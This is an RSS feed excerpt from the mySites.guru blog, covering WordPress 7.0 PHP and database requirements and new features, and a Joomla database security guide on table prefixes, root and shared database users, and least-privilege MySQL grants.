&amp;lt;p class=&quot;mt-2&quot;&amp;gt;&amp;lt;a href=&quot;https://manage.mysites.guru/en/tools/wordpress7/compatibility&quot; class=&quot;inline-flex items-center gap-2 rounded-md bg-blue-700 px-4 py-2 text-sm font-medium text-white no-underline hover:bg-blue-800 dark:bg-blue-600 dark:hover:bg-blue-500&quot;&amp;gt;Open WordPress 7 Compatibility Checker&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-2 text-sm text-blue-800 dark:text-blue-300&quot;&amp;gt;Colour-codes every connected site&apos;s PHP version, database version, and auto-update status against the WordPress 7.0 requirements. Sites that need attention are flagged immediately.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;For each site, the tool shows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;PHP version&lt;/strong&gt; - green if 8.3+ (recommended), yellow if 7.4+ (minimum), red if below 7.4&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Database version&lt;/strong&gt; - green for MySQL 8.4+ or MariaDB 11.4+ (current LTS releases), yellow for MySQL 8.0+ or MariaDB 10.6+ (official minimum), red if below&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Auto-update status&lt;/strong&gt; - whether &lt;code&gt;AUTOMATIC_UPDATER_DISABLED&lt;/code&gt; is set in wp-config.php, so you know which sites might auto-upgrade to 7.0 before you&apos;re ready&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Server hostname&lt;/strong&gt; - quickly spot which hosting provider or server needs attention&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Sites that need action stand out immediately. Filter by hostname to see all sites on one server, or by PHP version to group sites that need the same upgrade. For a closer look at how the colour coding works and what each column means, see the &lt;a href=&quot;https://mysites.guru/blog/wordpress-7-technical-requirements-check/&quot;&gt;WordPress 7 technical requirements check walkthrough&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://manage.mysites.guru/en/sites/&quot;&gt;Sites Overview&lt;/a&gt; also shows PHP and database versions for every connected site if you need a broader view across both WordPress and Joomla. If you&apos;re not a subscriber yet, the &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; reports PHP versions too.&lt;/p&gt;
&lt;p&gt;From there, coordinate with hosting providers to upgrade PHP on the affected servers before the release. The delay gives you extra time to prepare. Most hosts let you change PHP versions from cPanel or Plesk without a support ticket.&lt;/p&gt;
&lt;h2&gt;What Else is New in WordPress 7.0?&lt;/h2&gt;
&lt;p&gt;PHP and MySQL are the operational headaches, but 7.0 ships a lot more than version bumps.&lt;/p&gt;
&lt;h3&gt;Real-Time Collaboration&lt;/h3&gt;
&lt;p&gt;Phase 3 of the Gutenberg roadmap lands here: real-time collaborative editing in the block editor. Multiple users can edit the same post simultaneously, with changes synced using Yjs (a conflict-free data merging library).&lt;/p&gt;
&lt;p&gt;The default transport is &lt;strong&gt;HTTP polling&lt;/strong&gt;, which works on every host with no special server configuration. Hosting providers can optionally enable WebSocket support for lower latency via the &lt;code&gt;sync.providers&lt;/code&gt; filter.&lt;/p&gt;
&lt;p&gt;One caveat: posts that use classic meta boxes will fall back to traditional post locking instead of real-time collaboration. If you have custom meta boxes, migrate them to &lt;code&gt;register_post_meta()&lt;/code&gt; with &lt;code&gt;show_in_rest =&amp;gt; true&lt;/code&gt; or you won&apos;t get the collaborative editing.&lt;/p&gt;
&lt;p&gt;During the beta/RC period, collaboration is controlled by the &lt;code&gt;WP_ALLOW_COLLABORATION&lt;/code&gt; constant in &lt;code&gt;wp-config.php&lt;/code&gt;. After the stable release, it should be on by default.&lt;/p&gt;
&lt;h3&gt;AI Infrastructure&lt;/h3&gt;
&lt;p&gt;WordPress 7.0 ships a provider-agnostic AI client (&lt;code&gt;WP_AI_Client_Prompt_Builder&lt;/code&gt;) that lets plugins call OpenAI, Anthropic, Google, and other LLM providers through a unified PHP API. A new &lt;strong&gt;Connectors API&lt;/strong&gt; at Settings &amp;gt; Connectors centralizes credentials for external services.&lt;/p&gt;
&lt;p&gt;There&apos;s also an &lt;strong&gt;MCP Adapter&lt;/strong&gt; that exposes WordPress &quot;Abilities&quot; as Model Context Protocol tools at &lt;code&gt;/wp-json/mcp/v1/&lt;/code&gt;, authenticated via Application Passwords. If you&apos;ve been following the MCP spec, this is WordPress giving plugins a standardized way to talk to AI agents.&lt;/p&gt;
&lt;p&gt;You can disable all AI features with a single config option if you don&apos;t want LLM integration on a site.&lt;/p&gt;
&lt;h3&gt;Everything Else&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Images are now resized and compressed in the browser before upload (client-side media processing), which reduces server load&lt;/li&gt;
&lt;li&gt;Blocks can be shown or hidden per screen size (mobile, tablet, desktop)&lt;/li&gt;
&lt;li&gt;The Posts, Pages, and Media screens use new DataViews (list/grid toggle) instead of &lt;code&gt;WP_List_Table&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;A &quot;Modern&quot; admin color scheme replaces &quot;Fresh&quot; as the default. The old scheme is still available.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Cmd+K&lt;/code&gt; / &lt;code&gt;Ctrl+K&lt;/code&gt; opens a Command Palette in the admin bar for quick navigation&lt;/li&gt;
&lt;li&gt;New blocks: Breadcrumbs, Icons, Gallery lightbox, Grid (responsive), Cover (video embeds)&lt;/li&gt;
&lt;li&gt;The Font Library now works with classic and hybrid themes, not just block themes&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Should You Update to WordPress 7.0 When It Lands?&lt;/h2&gt;
&lt;p&gt;If you&apos;ve been testing during the RC cycle, yes - update production sites as soon as the stable release is available. If you haven&apos;t been following the pre-release builds, test on a staging site first and update production once you&apos;re confident.&lt;/p&gt;
&lt;p&gt;The delay actually works in your favour here. Use the extra time to:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Run the &lt;a href=&quot;https://manage.mysites.guru/en/tools/wordpress7/compatibility&quot;&gt;WordPress 7 Compatibility Checker&lt;/a&gt; to identify sites below PHP 7.4 or MySQL 8.0, then coordinate hosting upgrades&lt;/li&gt;
&lt;li&gt;Test on staging with the latest RC/beta, especially if you use custom meta boxes or heavily customized themes&lt;/li&gt;
&lt;li&gt;Review plugin compatibility - major WordPress releases sometimes break plugins that rely on internal APIs&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;Plan mass upgrades&lt;/a&gt; - once you&apos;re confident, mySites.guru lets you roll out WordPress updates across all sites from one place&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you want to control the rollout more tightly, you can &lt;a href=&quot;https://mysites.guru/blog/enforce-minor-upgrades-only-wordpress/&quot;&gt;enforce minor upgrades only&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;disable automatic updates entirely&lt;/a&gt; so sites don&apos;t auto-update to 7.0 before you&apos;re ready.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://make.wordpress.org/core/2026/03/31/extending-the-7-0-cycle/&quot;&gt;Extending the 7.0 cycle&lt;/a&gt; - announcement of the release delay (March 31)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://make.wordpress.org/core/2026/04/02/the-path-forward-for-wordpress-7-0/&quot;&gt;The path forward for WordPress 7.0&lt;/a&gt; - revised timeline details, pre-release pause through April 17 (April 2)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/news/2026/03/wordpress-7-0-release-candidate-2/&quot;&gt;WordPress 7.0 RC2 announcement&lt;/a&gt; - release candidate (March 26, hard string freeze)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/news/2026/03/wordpress-7-0-release-candidate-1/&quot;&gt;WordPress 7.0 RC1 announcement&lt;/a&gt; - first release candidate notes&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://make.wordpress.org/core/2026/01/09/dropping-support-for-php-7-2-and-7-3/&quot;&gt;Dropping PHP 7.2 and 7.3&lt;/a&gt; - Make WordPress Core announcement&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://make.wordpress.org/core/2026/03/24/introducing-the-ai-client-in-wordpress-7-0/&quot;&gt;AI Client dev note&lt;/a&gt; - WP_AI_Client documentation&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://make.wordpress.org/core/2026/03/18/introducing-the-connectors-api-in-wordpress-7-0/&quot;&gt;Connectors API dev note&lt;/a&gt; - new Settings &amp;gt; Connectors screen&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;More on keeping PHP and WordPress current in our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;WordPress and Joomla security guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>php</category><category>hosting</category><category>updates</category><enclosure url="https://mysites.guru/_astro/wordpress-7-requirements.xylkpZXM.webp" length="0" type="image/webp"/></item><item><title>How to Check Your Joomla Database Security with mySites.guru</title><link>https://mysites.guru/blog/how-to-check-joomla-database-security/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-check-joomla-database-security/</guid><description>Your Joomla database might be running with the default jos_ prefix, a root user, or excessive privileges. Here&apos;s how to flag each issue and fix it.</description><pubDate>Wed, 25 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Your Joomla site&apos;s database holds everything that matters. User accounts, passwords, content, configuration, session tokens, extension settings. If an attacker gets read access, they own the site. Write access, they own the server.&lt;/p&gt;
&lt;p&gt;The database is also one of the most commonly misconfigured parts of any Joomla installation. Default table prefixes that automated tools know how to target. Root database users with unrestricted access. Database users that can see every database on the server. Backup tables full of historical data that nobody remembers creating. Schema mismatches from botched updates. Action logs growing without bounds.&lt;/p&gt;
&lt;p&gt;The mySites.guru &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot tool&lt;/a&gt; checks for all of these automatically. The &lt;strong&gt;Database Integrity&lt;/strong&gt; section of the snapshot runs six distinct checks on every connected site:&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-xl border border-neutral-300 p-4 dark:border-neutral-700&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;Each check links to a &lt;strong&gt;Watch&lt;/strong&gt; button (video walkthrough), a &lt;strong&gt;Learn&lt;/strong&gt; button (&lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;best practice explanation&lt;/a&gt;), and an &lt;strong&gt;Investigate&lt;/strong&gt; button that takes you straight to the issue on that specific site. For Joomla sites, most checks also include a &lt;strong&gt;Fix This For Me&lt;/strong&gt; button that applies the fix remotely with a single click. When you need to see a single check across all your sites at once, the pivot view shows every connected site&apos;s status for that check on one screen:&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-xl border border-neutral-300 p-4 dark:border-neutral-700&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;If you manage 10, 50, or 500 sites, this is how you spot the outliers without logging into each server individually.&lt;/p&gt;
&lt;p&gt;This post walks through every database integrity check, explains why each one matters, and gives you the exact steps to fix each issue.&lt;/p&gt;
&lt;h2&gt;Why Does Joomla Database Security Get Overlooked?&lt;/h2&gt;
&lt;p&gt;Most Joomla administrators focus on the visible attack surface: keeping extensions updated, running &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audits&lt;/a&gt;, scanning for &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;hacked files and backdoors&lt;/a&gt;, and reviewing &lt;a href=&quot;https://mysites.guru/blog/check-your-websites-security-headers-with-mysites-guru/&quot;&gt;security headers&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;But the database sits behind the scenes. You don&apos;t interact with it directly during normal site management. It was configured once during installation and never revisited. The installer picked a prefix, the hosting panel created a user with whatever privileges it felt like granting, and everyone moved on.&lt;/p&gt;
&lt;p&gt;The decisions made during a five-minute installation have permanent security implications, and almost nobody goes back to review them.&lt;/p&gt;
&lt;p&gt;When you &lt;a href=&quot;https://mysites.guru/blog/manage-your-joomla-4-sites-with-mysites-guru/&quot;&gt;manage multiple Joomla sites&lt;/a&gt;, the odds of database misconfiguration go up fast. Different hosts have different defaults. Different eras of Joomla had different installation behaviours. Some hosts create database users with full administrative privileges because it&apos;s easier than figuring out the minimum required set.&lt;/p&gt;
&lt;h2&gt;Why Is the Default Joomla Table Prefix a Problem?&lt;/h2&gt;
&lt;p&gt;Joomla versions before 1.7 used &lt;code&gt;jos_&lt;/code&gt; as the default database table prefix during installation. That means your users table would be &lt;code&gt;jos_users&lt;/code&gt;, your sessions table &lt;code&gt;jos_session&lt;/code&gt;, your extensions table &lt;code&gt;jos_extensions&lt;/code&gt;, and so on.&lt;/p&gt;
&lt;p&gt;Joomla has generated a random prefix during installation since version 1.7 (released in 2011). But if you&apos;re managing older sites, sites that were migrated from earlier versions, or sites where someone typed &lt;code&gt;jos_&lt;/code&gt; manually during setup, that default prefix is still there.&lt;/p&gt;
&lt;p&gt;This matters because SQL injection attacks need to know your table names to extract data. If a site uses &lt;code&gt;jos_users&lt;/code&gt; as the users table, attackers don&apos;t need to guess. They already know. Automated attack tools and scripts target &lt;code&gt;jos_users&lt;/code&gt;, &lt;code&gt;jos_session&lt;/code&gt;, and &lt;code&gt;jos_extensions&lt;/code&gt; by default. Changing your prefix to something custom, say &lt;code&gt;x7k9_&lt;/code&gt; or &lt;code&gt;mguru_&lt;/code&gt;, means those pre-built payloads hit tables that don&apos;t exist and return nothing useful.&lt;/p&gt;
&lt;p&gt;Tim Davis from &lt;a href=&quot;https://www.youtube.com/@BasicJoomla&quot;&gt;Basic Joomla Tutorials&lt;/a&gt; covers this exact issue in his Maintenance Monday stream. It&apos;s a clear walkthrough of why the default prefix is a problem and how to change it:&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 aspect-video&quot;&amp;gt;
&amp;lt;iframe width=&quot;100%&quot; height=&quot;100%&quot; src=&quot;https://www.youtube-nocookie.com/embed/GQvGbT2qC_4&quot; title=&quot;Don&apos;t Use the Default JOS_ Database Table Prefix in Joomla&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen loading=&quot;lazy&quot;&amp;gt;&amp;lt;/iframe&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-neutral-200 dark:border-neutral-700 bg-neutral-50 dark:bg-neutral-800/50 p-4 flex gap-3 items-start text-sm&quot;&amp;gt;
&amp;lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; viewBox=&quot;0 0 512 512&quot; class=&quot;w-5 h-5 shrink-0 fill-neutral-500 dark:fill-neutral-400 mt-0.5&quot;&amp;gt;&amp;lt;path d=&quot;M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464a256 256 0 1 0 0-512 256 256 0 1 0 0 512zM216 336l-24 0 0 48 128 0 0-48-32 0 0-112-96 0 0 48 48 0 0 64-24 0zm72-144l0-64-64 0 0 64 64 0z&quot;/&amp;gt;&amp;lt;/svg&amp;gt;
&amp;lt;p class=&quot;text-neutral-700 dark:text-neutral-300 m-0&quot;&amp;gt;The video above shows an older version of the mySites.guru interface. We&apos;ve since redesigned the dashboard, but the database checks work the same way.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-amber-200 bg-amber-50 p-4 dark:border-amber-800 dark:bg-amber-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-amber-900 dark:text-amber-200&quot;&amp;gt;Changing the table prefix is not a substitute for fixing SQL injection vulnerabilities. A determined attacker who can inject SQL can usually enumerate your table names regardless of prefix. But it stops the vast majority of automated attacks, which are the ones most sites actually face. Defense in depth means stacking imperfect barriers, and each one filters out a portion of threats.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h3&gt;What mySites.guru checks&lt;/h3&gt;
&lt;p&gt;The snapshot reads your site&apos;s &lt;code&gt;configuration.php&lt;/code&gt; and checks the &lt;code&gt;$dbprefix&lt;/code&gt; value. If it&apos;s &lt;code&gt;jos_&lt;/code&gt;, the tool flags it as a warning. If you&apos;ve set a custom prefix, it passes.&lt;/p&gt;
&lt;h3&gt;How to fix it&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Option 1: Use mySites.guru (recommended)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Click the &lt;strong&gt;Investigate&lt;/strong&gt; button on the flagged check to see your site&apos;s current prefix. For Joomla sites, click &lt;strong&gt;Fix This For Me&lt;/strong&gt; and mySites.guru will generate a random prefix, rename every table in the database, and update &lt;code&gt;configuration.php&lt;/code&gt; automatically. No manual SQL needed. If you manage dozens of sites, use the &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;pivot view&lt;/a&gt; to see which sites still have &lt;code&gt;jos_&lt;/code&gt; across your entire portfolio in one screen.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Option 2: Use Admin Tools&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If you have &lt;a href=&quot;https://www.akeeba.com/products/admin-tools.html&quot;&gt;Akeeba Admin Tools&lt;/a&gt; installed, it includes a database table prefix changer. It handles renaming all tables and updating the configuration automatically. This is a solid approach because it accounts for edge cases like tables created by third-party extensions that might not follow standard naming conventions.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Option 3: Manual change via phpMyAdmin&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Take a full database backup first. This is non-negotiable.&lt;/li&gt;
&lt;li&gt;Open phpMyAdmin (or your preferred database management tool).&lt;/li&gt;
&lt;li&gt;For each table starting with &lt;code&gt;jos_&lt;/code&gt;, run: &lt;code&gt;RENAME TABLE jos_tablename TO newprefix_tablename;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Update &lt;code&gt;configuration.php&lt;/code&gt; on the server: change &lt;code&gt;public $dbprefix = &apos;jos_&apos;;&lt;/code&gt; to &lt;code&gt;public $dbprefix = &apos;newprefix_&apos;;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Clear your Joomla cache and verify the site loads correctly.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;A few rules for choosing a good prefix to save you headaches with some webhosts and configurations - trust us!&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Use 3-5 random characters followed by an underscore (e.g., &lt;code&gt;a8x2_&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Stick to lowercase letters and numbers only, no special characters&lt;/li&gt;
&lt;li&gt;Start with a letter, not a number&lt;/li&gt;
&lt;li&gt;Don&apos;t use your site name, domain, or anything guessable&lt;/li&gt;
&lt;li&gt;Don&apos;t use &lt;code&gt;joomla_&lt;/code&gt;, &lt;code&gt;jml_&lt;/code&gt;, or any other obvious Joomla-related prefix&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-green-200 bg-green-50 p-4 dark:border-green-800 dark:bg-green-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-green-900 dark:text-green-200&quot;&amp;gt;If you&apos;re installing a new Joomla site, the installer already generates a random prefix by default (since Joomla 1.7 in 2011). If you see jos_ on a site, it either predates that change or someone manually typed it in during setup.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;The root database user problem in Joomla&lt;/h2&gt;
&lt;p&gt;If your Joomla site connects to the database as the &lt;code&gt;root&lt;/code&gt; MySQL user, you have a serious problem.&lt;/p&gt;
&lt;p&gt;The root user has unrestricted access to every database on the server. Not just your Joomla database, but every single one. If a vulnerability in any Joomla extension allows an attacker to execute arbitrary SQL, they can read, modify, or delete data from every database on the server. They can create new database users. They can grant themselves permanent access. They can dump every table from every application sharing that MySQL instance.&lt;/p&gt;
&lt;p&gt;This is the database equivalent of running your web server as the system root user.&lt;/p&gt;
&lt;h3&gt;Why it happens&lt;/h3&gt;
&lt;p&gt;Shared hosting panels often create a single database user per hosting account and give it access to all databases under that account. On some budget hosts, the installation wizard pre-fills &quot;root&quot; as the database username because the hosting environment uses it.&lt;/p&gt;
&lt;p&gt;Self-managed servers tend to be worse. Developers setting up a quick test environment use root because it works and they&apos;ll &quot;fix it later.&quot; They never fix it later. The test environment becomes production, and root stays in &lt;code&gt;configuration.php&lt;/code&gt; for years.&lt;/p&gt;
&lt;h3&gt;What mySites.guru checks&lt;/h3&gt;
&lt;p&gt;The snapshot reads the &lt;code&gt;$user&lt;/code&gt; value from your site&apos;s &lt;code&gt;configuration.php&lt;/code&gt;. If the database username is &lt;code&gt;root&lt;/code&gt;, the tool flags it as a critical warning.&lt;/p&gt;
&lt;h3&gt;How to fix it&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Option 1: Use mySites.guru (recommended)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Click the &lt;strong&gt;Investigate&lt;/strong&gt; button on the flagged check to see the exact database username. For Joomla sites, the investigation page includes a credentials form where you can enter new database credentials, test them against the server, and apply the change to &lt;code&gt;configuration.php&lt;/code&gt; remotely. No SSH or FTP required. Use the pivot view to instantly see which sites across your portfolio are still running as root, so you can prioritise the worst offenders.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Option 2: Fix manually&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Log into your hosting control panel or MySQL directly.&lt;/li&gt;
&lt;li&gt;Create a new database user with a strong, unique password.&lt;/li&gt;
&lt;li&gt;Grant that user access only to the Joomla database, nothing else.&lt;/li&gt;
&lt;li&gt;Assign only the required privileges (covered in the next section).&lt;/li&gt;
&lt;li&gt;Update &lt;code&gt;configuration.php&lt;/code&gt; with the new username and password.&lt;/li&gt;
&lt;li&gt;Verify the site works correctly.&lt;/li&gt;
&lt;li&gt;If no other applications use root, change the root password and restrict root to localhost-only access.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you have direct MySQL access, here&apos;s the command to create a properly scoped user. On shared hosting, your control panel (cPanel, Plesk, DirectAdmin, etc.) will handle this through its GUI instead - typically in three separate steps: create the user, assign privileges to the user, then add the user to the database.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CREATE USER &apos;joomla_user&apos;@&apos;localhost&apos; IDENTIFIED BY &apos;strong_random_password_here&apos;;
GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, ALTER, INDEX
  ON joomla_database.* TO &apos;joomla_user&apos;@&apos;localhost&apos;;
FLUSH PRIVILEGES;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Replace &lt;code&gt;joomla_user&lt;/code&gt;, &lt;code&gt;strong_random_password_here&lt;/code&gt;, and &lt;code&gt;joomla_database&lt;/code&gt; with your actual values. The &lt;code&gt;@&apos;localhost&apos;&lt;/code&gt; restriction ensures this user can only connect from the local machine, not remotely.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-amber-200 bg-amber-50 p-4 dark:border-amber-800 dark:bg-amber-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-amber-900 dark:text-amber-200&quot;&amp;gt;If your Joomla site is on shared hosting, check with your host about database user permissions. Some hosts don&apos;t give you direct MySQL access to create users, so you&apos;ll need to use their control panel instead. The principle is the same: one user per database, minimum required privileges.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;Why Should Each Site Have Its Own Database User?&lt;/h2&gt;
&lt;p&gt;Even with a dedicated (non-root) database user, there&apos;s a subtler problem: that user might have access to multiple databases on the same server.&lt;/p&gt;
&lt;p&gt;This happens more often than you&apos;d expect. Hosting panels frequently create a single database user and grant it access to every database under your account. If you run three Joomla sites on the same server, all three might share the same database user. If one site gets compromised through an extension vulnerability, the attacker can read and modify the databases of the other two sites as well.&lt;/p&gt;
&lt;p&gt;Tim Davis has a memorable take on this in his Maintenance Monday stream: &lt;a href=&quot;https://www.youtube.com/watch?v=JQXYWwRs10M&quot;&gt;No Database Threesomes in Joomla&lt;/a&gt;. He walks through how to check if your database user can access multiple databases and how to create separate users for each site. If a hack occurs on one site whose database user can see other databases, the attacker can view those databases too, change admin passwords directly, and compromise every site on that server. We have seen over 100 databases on a single server all hacked from one compromised site. Total compromise, from a single weak point.&lt;/p&gt;
&lt;h3&gt;What mySites.guru checks&lt;/h3&gt;
&lt;p&gt;The snapshot connector connects to your MySQL server using your site&apos;s database credentials and runs &lt;code&gt;SHOW DATABASES&lt;/code&gt;, filtering out system databases (&lt;code&gt;information_schema&lt;/code&gt;, &lt;code&gt;performance_schema&lt;/code&gt;, &lt;code&gt;mysql&lt;/code&gt;, &lt;code&gt;test&lt;/code&gt;). If the user can see more than one database, the check fails. This is the same test an attacker would use after gaining SQL access through a vulnerability.&lt;/p&gt;
&lt;h3&gt;How to fix it&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Option 1: Use mySites.guru (recommended)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Click the &lt;strong&gt;Investigate&lt;/strong&gt; button to see exactly how many databases the user can access. For Joomla sites, the investigation page includes the same credentials form as the root user check: enter a new dedicated username and password, test them, and apply the change to &lt;code&gt;configuration.php&lt;/code&gt; remotely. Use the pivot view to see which sites across your portfolio have this problem.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Option 2: Fix manually&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Create a separate database user for each Joomla site on your server. Using the MySQL command from the root user section above, the key is the &lt;code&gt;ON joomla_database.*&lt;/code&gt; part: that restricts the user to a single database. Repeat for each site with a different username, password, and database name.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-- Site A
CREATE USER &apos;site_a_user&apos;@&apos;localhost&apos; IDENTIFIED BY &apos;password_a&apos;;
GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, ALTER, INDEX
  ON site_a_db.* TO &apos;site_a_user&apos;@&apos;localhost&apos;;

-- Site B
CREATE USER &apos;site_b_user&apos;@&apos;localhost&apos; IDENTIFIED BY &apos;password_b&apos;;
GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, ALTER, INDEX
  ON site_b_db.* TO &apos;site_b_user&apos;@&apos;localhost&apos;;

FLUSH PRIVILEGES;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then update each site&apos;s &lt;code&gt;configuration.php&lt;/code&gt; to use its dedicated user.&lt;/p&gt;
&lt;h2&gt;What Database Privileges Does Joomla Actually Need?&lt;/h2&gt;
&lt;p&gt;Even with a dedicated user that only accesses one database, that user might have far more privileges than Joomla needs. This isn&apos;t one of the six automated snapshot checks, but it&apos;s a critical part of database security that you should review manually alongside the snapshot results.&lt;/p&gt;
&lt;p&gt;Joomla needs these MySQL privileges to function:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SELECT&lt;/strong&gt; - read data from tables&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;INSERT&lt;/strong&gt; - add new rows (content, users, sessions, etc.)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;UPDATE&lt;/strong&gt; - modify existing rows&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DELETE&lt;/strong&gt; - remove rows&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CREATE&lt;/strong&gt; - create new tables (needed during extension installation)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DROP&lt;/strong&gt; - remove tables (needed during extension uninstallation)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ALTER&lt;/strong&gt; - modify table structure (needed during updates)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;INDEX&lt;/strong&gt; - create and drop indexes (needed during updates)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Some extensions also require:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CREATE TEMPORARY TABLES&lt;/strong&gt; - for complex queries that use temp tables&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LOCK TABLES&lt;/strong&gt; - for backup extensions that need consistent snapshots&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ten privileges at most. Yet many hosting panels grant database users privileges they should never have:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;FILE&lt;/strong&gt; - read and write files on the server filesystem through SQL. An attacker with this privilege can read &lt;code&gt;/etc/passwd&lt;/code&gt;, write a PHP backdoor to the webroot, or exfiltrate your &lt;code&gt;configuration.php&lt;/code&gt;, all through SQL queries.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PROCESS&lt;/strong&gt; - view all running queries from all users, including those containing passwords or sensitive data.&lt;/li&gt;
